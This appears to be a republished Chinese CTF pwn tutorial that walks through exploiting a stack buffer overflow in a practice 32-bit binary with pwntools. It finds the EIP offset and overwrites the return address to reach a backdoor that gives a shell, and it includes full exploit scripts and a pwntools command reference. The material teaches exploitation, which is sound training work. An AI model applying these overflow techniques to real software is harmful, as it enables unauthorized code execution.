PWN学习 - Pwntools实现简单的栈溢出

admin 2022年11月5日10:47:33CTF专场评论14 views2077字阅读6分55秒阅读模式

一、前言

学习CTF的PWN找了一个最简单的程序学习记录一下

首先下载漏洞程序

pwn_level1链接:https://a-new.lanzouw.com/iPXnm0dsft8j

先看一下程序的大概信息

PWN学习 - Pwntools实现简单的栈溢出

elf 32位 先大概看一下main函数

PWN学习 - Pwntools实现简单的栈溢出

再看一下vulnerable_function函数

PWN学习 - Pwntools实现简单的栈溢出

反编译看一下

PWN学习 - Pwntools实现简单的栈溢出

二、获取控制EIP的位置

新建一个exp1.py写如下代码

from pwn import *

p=process('./pwn_level1')
context.log_level='debug'
gdb.attach(p)

p.recvuntil('try to stackoverflow!!')

p.send(cyclic(0x100))

p.interactive()

终端跑一下

python3 exp1.py

PWN学习 - Pwntools实现简单的栈溢出

在pwndbg这个窗口窗口下面输入c,然后回车

PWN学习 - Pwntools实现简单的栈溢出

看EIP当前执行到了0x65616161,因为栈溢出覆盖到了EIP,但是这个地址不存在

加上一行代码搜一下0x65616161的位置

from pwn import *

p = process('./pwn_level1')
context.log_level='debug'
gdb.attach(p)

p.recvuntil('try to stackoverflow!!')
p.send(cyclic(0x100))

print(cyclic_find(0x65616161))# 加上这行代码

p.interactive()

打印出13

PWN学习 - Pwntools实现简单的栈溢出

也就是我们只要填充13个字符就可以控制EIP了。

也可以在gdb中利用pattern命令来获取需要填充的字符数量

首先gdb加载程序,用命令pattern create 100 来创建一个长度为100的字符串,然后输入r命令运行程序,复制我们刚才生成的字符串输入

PWN学习 - Pwntools实现简单的栈溢出

回车然后用命令pattern offset 0x65616161获取需要填充的字符个数

PWN学习 - Pwntools实现简单的栈溢出

搜索结果出来了两个,小端13,大端 16,x86程序是小端的,所以是13,我们也可以用readelf命令确认一下

PWN学习 - Pwntools实现简单的栈溢出

三、跳转到后门

PWN学习 - Pwntools实现简单的栈溢出

后门函数,地址是在0x804849A

要执行这个函数,只要填充13个字符,再加上p32(0x804849A)就可以了

最终payload是

from pwn import *

p=process('./pwn_level1')
context.log_level='debug'
gdb.attach(p)

p.recvuntil('try to stackoverflow!!')

p.send(b'a'*13+p32(0x804849A))

p.interactive()

再运行一下脚本,在pwndbg这个窗口下面输入c,然后回车

在运行脚本那个终端输入ls,可以看到打印了同目录的文件

PWN学习 - Pwntools实现简单的栈溢出

四、原理

看一下vulnerable_function函数

PWN学习 - Pwntools实现简单的栈溢出

简单一点我们看ida反汇编的函数

PWN学习 - Pwntools实现简单的栈溢出

buf的大小是9,read的时候写入buf的数据是0x100,由此出现了溢出,读取的数据覆盖到了EIP就可以控制EIP了,我们对比一下read数据长度小于9和长度大于9的情况就清楚了,这个是输入123456的长度小9,read完返回到main+22

PWN学习 - Pwntools实现简单的栈溢出

再看一下长度超过9的出现溢出的情况

PWN学习 - Pwntools实现简单的栈溢出

对比不溢出的栈可以看到原来返回到main+22的地址被覆盖成了aaae也就是0x65616161,只要把这个换成我们要执行的后门函数地址就get shell了。

五、附录

pwntools常用命令

连接

  remote('ip',端口)# 远程  process()# 本地

发送

  send(data) # 发送数据  sendline(data) # 发送一行数据,相当于在数据末尾加n  sendafter(xxx,data) # 接收到 xxx 之后发送 data

接收

  recv(numb=4096, timeout=default) # 接收指定字节  recvline(keepends=True) # 接收一行,keepends为是否保留行尾的n  recvuntil(delims, drop=False) # 一直读到 delims 的 pattern 出现为止  recvrepeat(timeout=default) # 持续接受直到EOF或timeout

交互

 interactive() #直接进行交互,相当于回到shell的模式,在取得shell之后使用

打包解包

 p32()/p64() # 打包一个整数,分别打包为32位或64位 u32()/u64() # 解包一个字符串,得到整数

比如将0xdeadbeef进行32位的打包,将会得到'xefxbexadxde'(小端)

payload = p32(0xdeadbeef)payload = p64(0xdeadbeef)

gdb模块

gdb.attach(target, gdbscript = None) # 在一个新终端打开 GDB 并 attach 到指定 PID 的进程,或者一个 pwnlib.tubes 对象

例如

bash = process(‘./bash’)gdb.attach(bash)


原文始发于微信公众号(星海安全实验室):PWN学习 - Pwntools实现简单的栈溢出

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年11月5日10:47:33
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  PWN学习 - Pwntools实现简单的栈溢出 http://cn-sec.com/archives/1392394.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: